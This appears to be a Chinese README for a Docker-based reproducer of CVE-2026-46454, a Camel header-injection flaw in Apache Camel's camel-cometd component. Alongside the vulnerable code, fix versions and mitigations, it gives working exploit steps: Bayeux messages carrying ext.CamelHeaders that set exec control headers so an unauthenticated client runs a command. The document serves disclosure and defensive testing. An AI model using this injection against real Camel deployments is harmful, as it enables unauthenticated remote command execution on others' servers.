camel-cometd 入站 Bayeux 头注入复现器 (CVE-2026-46454)

该项目演示了 Apache Camel 的 camel-cometd 组件中的一个消息头注入漏洞，漏洞编号为 CVE-2026-46454。该组件在没有 HeaderFilterStrategy 的情况下，将入站的 Bayeux (CometD) 消息头映射到 Camel Exchange 中。CometdBinding.createCamelMessage 会将 CometD 客户端提供的整个 ext.CamelHeaders map 直接复制到 Camel 消息上 (message.setHeaders(...))，因此任何头名称——包括 Camel 内部控制头，如 CamelHttpUri、CamelFileName、CamelJmsDestinationName（或在此处的 camel-exec 控制头）——都会被原样接受。由于 CometdComponent 默认不安装任何 Bayeux SecurityPolicy，任何能够完成 Bayeux 握手的客户端都可以无需认证发布此类消息，并操纵路由中的下游生产者。

安全公告：https://camel.apache.org/security/CVE-2026-46454.html

漏洞摘要

与 CVE-2025-27636、CVE-2025-29891、CVE-2025-30177、CVE-2026-40453 和 CVE-2026-47323 属于同一头注入家族——这些组件在将入站头映射到 Exchange 时，均未过滤 Camel 命名空间。

技术细节

// CometdBinding.createCamelMessage(...) - affected 4.18.2
Message message = new DefaultMessage(camelContext);
message.setBody(data);
Map<String, Object> headers = getHeadersFromMessage(cometdMessage);   // reads client-supplied ext.CamelHeaders
if (headers != null) {
    message.setHeaders(headers);                                      // <-- no HeaderFilterStrategy
}

客户端控制 ext.CamelHeaders，因此它可以在 Exchange 上设置任意 Camel 控制头。修复版本（4.14.8 / 4.18.3 / 4.21.0）实现了 HeaderFilterStrategy（代码中一个长期存在的 TODO），该策略在入站映射时以不区分大小写的方式过滤 Camel* / camel* 命名空间。

受害者路由

from("cometd://0.0.0.0:8088/service/inject")
    .to("exec:echo?args=hello");     // route author only intends to run: echo hello

攻击者向 /service/inject 发布携带 ext.CamelHeaders = { CamelExecCommandExecutable: "/usr/bin/touch", CamelExecCommandArgs: "/tmp/pwned" } 的消息；绑定层将这些头映射到 Exchange 上，exec 生产者转而执行攻击者的命令。

仓库结构

项目是自包含的：camel-cometd 消费者在应用内运行一个嵌入式 Bayeux 服务器（端口 8088），/exploit/attack 端点充当未认证的 CometD 客户端。

CVE-2026-46454/
├── pom.xml                 # camel-cometd + camel-exec 4.18.2; cometd 9.0.0 client; Jetty pinned to 12.1.6
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── VictimRoute.java        # from("cometd://.../service/inject").to("exec:echo")
    │   └── ExploitController.java  # attacker BayeuxClient: handshake + publish with ext.CamelHeaders
    └── resources/
        └── application.properties

先决条件

• Java 17+ 和 Maven 3.8+
• Docker（用于运行复现程序）

复现步骤

步骤 1：构建并启动容器

mvn clean package -DskipTests
docker compose up -d --build

步骤 2：触发头注入（RCE）

curl -s http://localhost:8080/exploit/attack
# -> Handshaked (unauthenticated) and published to /service/inject with ext.CamelHeaders = {...}.
#    The camel-cometd consumer mapped them onto the Exchange; the exec producer ran the command.
#
#    >>> RCE proof — /tmp/pwned exists: true

步骤 3：验证

docker exec cve-2026-46454 ls -la /tmp/pwned

清理

docker compose down

攻击向量

任何包含 camel-cometd 消费者并将消息传递给下游生产者的路由，只要该生产者的行为受 Camel 头控制，都可能受影响——例如 HTTP 生产者（CamelHttpUri）、文件生产者（CamelFileName）、JMS 生产者（CamelJmsDestinationName）、exec 生产者（CamelExecCommand*）等。任何能够与 Bayeux 端点完成握手的客户端都可以注入这些头；默认情况下无需认证。注入的头会跨内部 direct、seda 和 vm 跳转持续存在。

利用条件

1. 受影响版本上存在一个 camel-cometd 消费者，并且路由到可由头控制的生产者。
2. CometdComponent 上没有配置 Bayeux SecurityPolicy（默认情况），因此任何客户端都可以发布消息。

建议修复

升级到 4.14.8 / 4.18.3 / 4.21.0（CAMEL-23507），该修复为 cometd 绑定增加了 HeaderFilterStrategy，在入站映射时阻止客户端提供的 Camel* / camel* 头。

缓解措施

在升级之前：

1. 在路由起始处剥离 Camel 控制头： .removeHeaders("Camel*") 和 .removeHeaders("camel*")。
2. 在 CometdComponent 上安装显式的 Bayeux SecurityPolicy，以确保只有经过认证的客户端才能发布消息。

免责声明

此复现程序仅用于安全研究和授权测试，针对的是已公开披露并已修复的漏洞。未经明确许可，请勿将其用于任何系统。